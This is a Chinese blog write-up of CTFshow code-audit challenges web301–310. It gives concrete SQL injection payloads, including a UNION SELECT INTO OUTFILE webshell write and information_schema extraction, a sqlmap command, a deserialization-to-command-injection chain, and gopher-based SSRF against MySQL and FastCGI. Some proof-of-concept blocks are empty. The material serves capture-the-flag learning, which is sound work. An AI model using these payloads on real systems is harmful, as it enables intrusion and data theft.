您当前的位置: 首页 > 

yu22x

暂无认证

  • 3浏览

    0关注

    109博文

    0收益

  • 0浏览

    0点赞

    0打赏

    0留言

私信
关注
热门博文

CTFSHOW 代码审计篇

yu22x 发布时间:2020-12-19 09:01:07 ,浏览量:3

文章目录
    • web301
    • web302
    • web303
    • web304
    • web305
    • web306
    • web307
    • web308
    • web309
    • web310

web301

下载下来源码,发现checklogin.php里面的sql语句没有任何的过滤。 在这里插入图片描述 所以直接注入就可以了。用sqlmap跑了下得到用户名密码 admin ctfshowwwww登陆进去就有flag python sqlmap.py -u http://e62c174a-c4d4-4a58-a392-a41bfca926ee.chall.ctf.show/checklogin.php --form --batch --dump

然后我们也也可以写个木马 userid=a ' union select "" into outfile "/var/www/html/a.php"%23&userpwd=b 发现当前目录下有flag.php打开即可得到flag。

web302

根据提示 修改的地方: if(!strcasecmp(sds_decode($userpwd),$row['sds_password'])){ 我们发现他用的是$row['sds_password']),也就是他已经执行完了sql语句,所以我们不用管他判断后会怎样。直接在checklogin.php写shell就行了 payload userid=a ' union select "" into outfile "/var/www/html/a.php"%23&userpwd=b

web303

在dptadd.php中存在注入点 在这里插入图片描述 有个insert而且没有任何过滤。插入的数据会在dpt.php中查询出来 在这里插入图片描述 但是有个前提,必须得先登陆成功 在这里插入图片描述 有几个地方需要注意,用户名有长度限制,而且查询语句没有用到userpwd, 查询成功后会进行比较。 在这里插入图片描述 那用户名我们就老老实实的写个admin。密码我怎么也不知道怎么弄,后来随便试了下admin,结果成功了=_= 。。。。。 剩下的就简单了,在dptadd.php中进行注入。 payload: 查表名 dpt_name=1',sds_address =(select group_concat(table_name) from information_schema.tables where table_schema=database())%23 查列名 dpt_name=1',sds_address =(select group_concat(column_name) from information_schema.columns where table_name='sds_fl9g')%23 查数据 dpt_name=1',sds_address =(select flag from sds_fl9g)%23

web304

没找到waf 就改了下表名 sds_flaag 还是上面的payload

web305

多了个waf和class.php 先看下waf,基本上注入没有啥希望了。再看下class.php。有个写文件操作。 在这里插入图片描述 在checklogin.php中存在反序列化的点。 所以传个cookie就可以了 poc:

';
}
$a=new dao();
echo base64_encode(serialize($a));

传到cookie里面访问下index.php就可以生成木马了。

web307

开局先搜了下unserialize发现了四个。。。。。那我们先找可利用的函数,找到个shell_exec,然后找调用的地方。 在这里插入图片描述 有两处,比较一下就可以发现logout.php中的很好用 在这里插入图片描述 只要修改下config类中的$cache_dir然后命令拼接下就行了。 我们这个反序列化出来的service有两个选择,一个是生成service类,一个是生成dao类。两个都可以调用clearCache函数,但是service是通过dao类调用的clearCache。所以我们不需要用到service类。直接

poc:


反序列化后会生成dao类,然后去调用clearCache函数,这时的cache_dir我们已经修改了。

web308

与上一题相比,命令执行利用点增加了过滤。输入的内容中只允许存在字母,所以这个利用点我们放弃。

在这里插入图片描述 然后在fun.php处多了个ssrf利用点。

在这里插入图片描述 找具体的调用位置,在dao.php中被调用。我们再来找checkVersion在哪被调用。 在这里插入图片描述 在index.php中存在利用点。跟上一题基本差不多. 在这里插入图片描述 poc


具体的值通过gopherus生成 下载地址https://github.com/tarunkant/Gopherus 在这里插入图片描述 把生成的poc传到cookie中,然后就会生成a.php,剩下的就简单了。 在这里插入图片描述

web309

打的不是mysql了,打的是fastcgi.探测是通过gopher协议的延迟判断的 gopher://127.0.0.1:9000 在这里插入图片描述 poc:


web310

9000和6379都是关着的。那我们可以试试读下配置文件 poc


得到关键信息

	server {
        listen       4476;
        server_name  localhost;
        root         /var/flag;
        index index.html;

        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    }

接着访问下 poc


得到flag,flag需要大家仔细找下。

关注
打赏
1617522777
查看更多评论
立即登录/注册

微信扫码登录

0.0534s